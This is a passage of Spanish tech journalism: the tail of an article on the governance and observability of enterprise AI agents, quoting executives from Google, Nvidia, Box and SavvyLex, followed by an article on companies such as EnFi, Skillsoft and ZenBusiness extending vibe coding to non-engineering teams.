Aunque TrueFoundry tiene interés en impulsar la gobernanza de agentes, muchos otros expertos en IA ven los mismos problemas.

Gobernar a ciegas

Las dificultades con la gobernanza y la observabilidad son grandes obstáculos para el despliegue de agentes productivos, y muchas organizaciones están desplegando agentes sin crear una lista centralizada de los mismos, afirma Mahesh Kumar Goyal, experto sénior en datos e IA en Google. “La mayoría de las empresas no tienen ningún inventario de los agentes que ya están en producción: intentan gobernar lo que no pueden ver”, recalca.

Además, las herramientas tradicionales de seguridad SIEM y EDR se diseñaron para detectar anomalías humanas, no agentes descontrolados, apunta. “Un agente ejecutando código perfectamente 10.000 veces seguidas parece normal incluso si ha sido comprometido”, dice. Ejecutar agentes totalmente autónomos no es una buena idea, añade, y las organizaciones deben pensar en permisos de herramientas con privilegios mínimos, capas de aplicación de políticas que intermedien cada prompt y llamada a herramientas, y trazabilidad de extremo a extremo que una prompts, llamadas a herramientas y acciones posteriores en un único rastro auditable.

“El sistema financiero no funciona sobre la base de la confianza; funciona sobre la auditabilidad, la conciliación y los mecanismos de corte”, afirma Goyal. “Los agentes madurarán de la misma forma. La autonomía por niveles es la respuesta realista: libertad total en tareas de bajo riesgo, intervención humana en las que tienen consecuencias”.

Parte del problema es que los agentes han trastocado los modelos utilizados para determinar si el software tradicional funcionaba correctamente, añade Adel El Hallak, vicepresidente de software de IA en Nvidia. Con el software tradicional, los profesionales de QA y seguridad podían revisar el código para depurar problemas, pero los agentes toman decisiones en el entorno de ejecución de un modelo de IA.

La fuente de verdad para los agentes reside en las trazas, los registros del flujo de ejecución, no en el código, añade. Recopilar trazas —en esencia, registros detallados— es un punto de partida hacia la gobernanza de agentes, pero las organizaciones necesitan poder actuar sobre esa información, dice. “Para confiar en algo, tiene que ser transparente, y la observabilidad es fundamental para la transparencia”, añade El Hallak. “Pero observar no es suficiente. Necesitamos ser capaces de tomar esas señales y convertirlas en algo accionable”.

La gobernanza de agentes va más allá de la observabilidad y permite a las organizaciones probar y ajustar de forma continua los agentes, señala. Las herramientas existen, con empresas como Nvidia desarrollando sus propios marcos internos de gobernanza y varios otros proveedores ofreciendo herramientas de observabilidad y gobernanza de agentes. “No basta con disponer de los datos de comportamiento, con capturar los datos de retroalimentación”, dice. “El sistema debería permitirme anotar, cambiar, ampliar o crear datos de retroalimentación adicionales, y luego puedo utilizar esos datos para mejorar mi agente en su conjunto”.

El cuello de botella de la gobernanza

Al mismo tiempo, muchas empresas que avanzan hacia la gobernanza de agentes han descubierto que puede convertirse en un gran cuello de botella si se hace mal, afirma Nirmal Ganesh, director sénior de gestión de producto para automatización de flujos de trabajo con agentes en el proveedor de almacenamiento en la nube Box. “No creo que hayamos superado todavía la parte difícil en el despliegue de agentes en la empresa”, dice. “La mayoría de las compañías aún no son buenas en esto, y muchas menos han conseguido hacerlo a escala con gobernanza y observabilidad de agentes”.

Ganesh identifica varios problemas, incluidos agentes que operan sin modelos claros de permisos. “Si un agente puede ver más que una persona o acceder a más de lo que permiten los permisos de un usuario sobre contenidos o datos, eso es un incidente esperando a ocurrir”, afirma.

Sin embargo, algunos modelos iniciales de gobernanza de agentes no escalan. Algunos equipos de TI han optado por que los humanos deban aprobar cada salida del agente porque es la opción más segura, indica. “En realidad, esto supone reconstruir procesos manuales con más puntos de control o de recomendación”, dice Ganesh. “A gran escala, la gobernanza se convierte en tu cuello de botella para escalar y deja de ser tu red de seguridad”.

Las organizaciones necesitan procesos de observabilidad y gobernanza que sean a la vez escalables y completos, añade. El retorno de la inversión de los agentes procederá de controles sólidos, modelos de permisos claros y una participación humana bien definida, afirma. “Toda automatización madura necesita observabilidad continua: los flujos de trabajo cambian, las políticas cambian, las decisiones cambian, aparecen nuevos casos de uso”, agrega. “La intervención humana siempre será necesaria para lo que cambia con el tiempo, pero necesitamos menos intervención en los caminos conocidos y más foco en la gestión de excepciones y el ajuste fino de la gobernanza”.

Observar el resultado no es suficiente

La gobernanza no puede centrarse únicamente en el resultado del agente, añade Marcelo Lorenzetti, fundador y CAIO del proveedor de IA para servicios legales SavvyLex. “El mayor reto no es simplemente si un agente produce una buena respuesta”, afirma. “Es si la organización puede demostrar a qué accedió el agente, qué instrucciones siguió, qué herramientas invocó, qué decisiones tomó, dónde intervino un humano y si se mantuvo dentro de los límites autorizados”.

Sin un nivel completo de visibilidad en tiempo de ejecución, las empresas se quedan con capturas de pantalla, registros y explicaciones a posteriori que pueden no cumplir los requisitos legales, de cumplimiento o de seguridad, afirma.

Los agentes deberían verificarse de forma continua en lugar de confiar plenamente en ellos, añade, con la gobernanza incorporada en la propia arquitectura del agente. Recomienda incluir acceso basado en roles, ejecución sujeta a políticas, umbrales de aprobación humana, procedencia de fuentes y herramientas, registros de actividad inmutables, puntuación de confianza, gestión de excepciones y rutas claras de escalado cuando un agente alcanza el límite de su autoridad.

“La observabilidad no debería limitarse a si el modelo respondió”, afirma Lorenzetti. “Debería mostrar todo el recorrido de la decisión desde la entrada hasta la acción”. Los agentes de IA han cambiado el modelo de gobernanza necesario, añade.

“El problema fundamental es que muchas empresas están pasando de una IA que responde preguntas a una IA que actúa, pero sus modelos de gobernanza siguen diseñados para herramientas pasivas, no para flujos de trabajo autónomos”, concluye.

El vibe coding se está expandiendo más allá del ámbito de los equipos de desarrollo de software hacia diversas unidades de negocio en distintas empresas, y los líderes tecnológicos no solo están apoyando estos esfuerzos, sino que en algunos casos están liderando el impulso.

Esta democratización del desarrollo de software, impulsada por herramientas de vibe coding —incluidos chatbots y agentes que generan código a partir de prompts—, ha convertido esta práctica en algo habitual en departamentos como recursos humanos y marketing.

Con la guía de TI, estos esfuerzos pueden reducir los atrasos en desarrollo, acercar la construcción de soluciones a los problemas de negocio y abrir oportunidades que antes no se abordaban. Pero el vibe coding puede ser arriesgado. Los líderes de TI interesados en liberar el potencial del vibe coding en manos de usuarios de negocio deben establecer la gobernanza y los controles necesarios para garantizar resultados seguros.

A continuación, contamos cómo varios CIO están desplegando el vibe coding más allá de TI y a los retos a los que se han enfrentado.

Sintiendo el vibe

En el proveedor de tecnología para servicios financieros EnFi, se anima activamente a toda la organización, incluida la capa directiva, a utilizar Claude Code para crear sus propios subagentes y después lograr que sus equipos usen esas creaciones. “Los resultados nos han sorprendido”, afirma Scott Weller, CTO. “Lo que empezó como una iniciativa de productividad de ingeniería se ha convertido en una capacidad para toda la empresa, donde cualquiera, desde el CEO hasta un responsable de éxito de cliente, puede convertir una idea en un prototipo funcional en horas, no semanas”.

El vibe coding con la herramienta se expandió rápidamente cuando los empleados no ingenieros se dieron cuenta de que podían participar directamente en la construcción de aplicaciones, señala Weller. “Producto, éxito de cliente y stakeholders ejecutivos ahora inician con frecuencia trabajo de desarrollo a través del mismo sistema”, afirma. “Cada iniciativa, independientemente de quién la impulse, pasa por los mismos controles automatizados de calidad, revisiones arquitectónicas y revisión humana del código antes de llegar a producción”.

Cuando un agente de IA escribe código, “sigue las mismas reglas que un ingeniero senior”, explica Weller. “La revisión de código basada en IA detecta violaciones arquitectónicas, problemas de seguridad e inconsistencias de patrones antes de que lo vea un revisor humano. Esto significa que el resultado de una solicitud de Slack de un responsable de producto cumple el mismo nivel de calidad que un pull request de un ingeniero.”

Permitir que cualquier persona de la empresa tenga una idea y la vea funcionar simplemente pidiendo a un bot que la construya “ha cambiado fundamentalmente quién participa en la creación del producto”, añade Weller.

Hacer accesible la codificación asistida por IA ha reducido el tiempo de algunos proyectos de semanas a horas. “Ha incrementado drásticamente el número de experimentos que podemos hacer en mejoras de experiencia de usuario, exploración de funcionalidades y alternativas de flujos de trabajo”, afirma.

El beneficio más significativo es que las nuevas ideas de desarrollo ya no se ven frenadas por la falta de capacidad de ingeniería. “Cuando cualquiera puede describir lo que quiere y verlo construido, la tasa de experimentación aumenta enormemente”, añade.

El impulso de crear soluciones a problemas de negocio

Skillsoft, proveedor de formación tecnológica, también está impulsando el vibe coding fuera de sus equipos de desarrollo. “Aunque inicialmente surgió dentro de TI, hemos sido intencionados al fomentar esta mentalidad más allá del desarrollo de software tradicional”, afirma Orla Daly, CIO. “Vemos un valor real en permitir que equipos de toda la organización exploren, experimenten y resuelvan problemas usando IA de formas directamente conectadas con su trabajo diario.”

En infraestructura y operaciones, personas sin perfil de desarrollo están creando nuevos productos y capacidades o aplicando los principios del vibe coding para resolver incidencias en producción. “Hemos visto experimentación transversal, como prototipos de soluciones de inteligencia de cliente para equipos de go-to-market y el desarrollo rápido de un portal de clientes”, explica Daly. “Cuando las personas aprenden y aplican IA a un problema real de negocio, se genera propósito e impulso”.

Con el vibe coding, los equipos no solo aprenden conceptos nuevos, “también desarrollan criterio, curiosidad y una mejor comprensión de cómo la IA puede elevar su rol y el negocio”, añade. “Los beneficios son tangibles: aprenden más rápido, aumenta el engagement y la organización gana visibilidad sobre las capacidades existentes y su evolución”.

De forma más amplia, el vibe coding apoya la adaptabilidad. “Ayuda a pasar de ver la IA como algo abstracto o intimidante a algo con lo que pueden trabajar con criterio y colaboración, no con procesos rígidos”, afirma. “Las soluciones creadas han cubierto carencias de capacidad y llegado a producción en menos tiempo, generando valor real”.

Foco en la experimentación

En Corevist, plataforma de ecommerce, el uso extendido del vibe coding no surgió como iniciativa formal. “Apareció en distintas áreas, sobre todo en ventas y equipos de cara al cliente, porque la gente quería moverse más rápido y comunicar mejor sus ideas”, señala Terry Stahler, CIO y chief customer officer. Tampoco se expandió solo: “Sin liderazgo impulsando la experimentación, habría avanzado mucho más despacio”, añade.

Hoy se usa sobre todo como herramienta de prototipado. “Ayuda a concretar ideas más rápido, lo que hace las conversaciones más claras. Ese es el mayor beneficio”, dice. “No lo usamos como atajo hacia software en producción: todo lo que va más allá de prototipo pasa por nuestros procesos de ingeniería y seguridad”.

Ventas fue el primer caso de uso, con prototipos en tiempo real durante el proceso comercial. Esto reduce la ambigüedad y facilita validar si se entiende bien la necesidad del cliente.

Marketing también lo ha usado para la actualización de la web. “El valor es la velocidad en fases creativas y de planificación”, señala Stahler.

Complemento de ingeniería

ZenBusiness promueve el vibe coding “de forma transversal”. “Si la IA te ayuda a pasar de una idea a algo funcional sin esperar a ingeniería, queremos que lo hagas”, afirma su CTO, Alex Victoria.

Se ha extendido a múltiples áreas: análisis de datos, prototipos de producto y tareas antes externalizadas. “La cultura es que la experimentación no es solo para ingenieros”. El “gran desbloqueo” llegó en 2025 con Claude Code, junto a herramientas como Cursor y Codex. “Si alguien puede crear un prototipo en una tarde en vez de esperar semanas, cambia qué merece la pena hacer”.

Retos

La adopción masiva del vibe coding plantea retos. Uno es mantener la calidad. En EnFi lo han abordado con reglas y más de 40 “skills” que alinean el código con patrones arquitectónicos.

En Agiloft, el principal reto es organizativo: entender cómo se realiza realmente el trabajo y gestionar confianza y adopción. También han tenido que abordar control de accesos, identidad y gestión de datos mediante procesos formales de aprobación.

En iCore, el reto fue generar confianza en usuarios no técnicos, mediante formación entre pares.

La gobernanza es clave, especialmente en sectores regulados como salud, definiendo límites y controles de cumplimiento para evitar riesgos regulatorios.

El futuro de la codificación

Las organizaciones planean ampliar el uso del vibe coding. iCore ya lo extiende a marketing y recursos humanos, en áreas como contenidos y automatización documental. Agiloft busca convertirlo en práctica estándar, con un modelo operativo de IA cohesivo. EnFi lo está ampliando a más funciones: “Describe lo que quieres, míralo construido, revísalo y decide.”

Las organizaciones que dominen el desarrollo asistido por IA internamente “serán capaces de desplegar flujos de trabajo basados en IA para sus clientes con la calidad, gobernanza y fiabilidad que exigen los sectores regulados”, concluye Weller. “La práctica interna es la prueba”.